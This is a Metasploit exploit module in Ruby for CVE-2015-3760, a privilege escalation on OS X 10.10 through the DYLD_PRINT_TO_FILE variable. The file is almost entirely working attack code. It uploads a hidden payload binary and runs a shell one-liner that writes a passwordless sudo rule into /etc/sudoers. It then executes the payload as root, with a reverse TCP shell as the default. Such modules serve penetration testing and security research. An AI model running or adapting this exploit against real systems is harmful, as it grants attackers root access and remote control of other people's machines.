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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation',
'Description' => %q{
In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
variable is used for redirecting logging data to a file instead of
stderr. Due to a design error, this feature can be abused by a local
attacker to write arbitrary files as root via restricted, SUID-root
binaries.
},
'Author' => [
'Stefan Esser', # Vulnerability discovery and PoC
'joev' # Copy/paste monkey
],
'References' => [
['CVE', '2015-3760'],
['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'],
['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']
],
'DisclosureDate' => 'Jul 21 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' => [
['Mac OS X 10.10-10.10.4', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' }
))
register_options [
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
(ver?) ? CheckCode::Appears : CheckCode::Safe
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
upload payload_file, binary_payload
cmd_exec "chmod +x #{payload_file}"
print_status "Executing exploit at `#{payload_file}'..."
cmd_exec sploit
end
def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.10.0'), Gem::Version.new('10.10.4')
)
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup path
end
def sploit
%Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}
end
def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end
def payload_file
@payload_file ||=
"#{base_dir}/.#{Rex::Text.rand_text_alpha(8..12)}"
end
end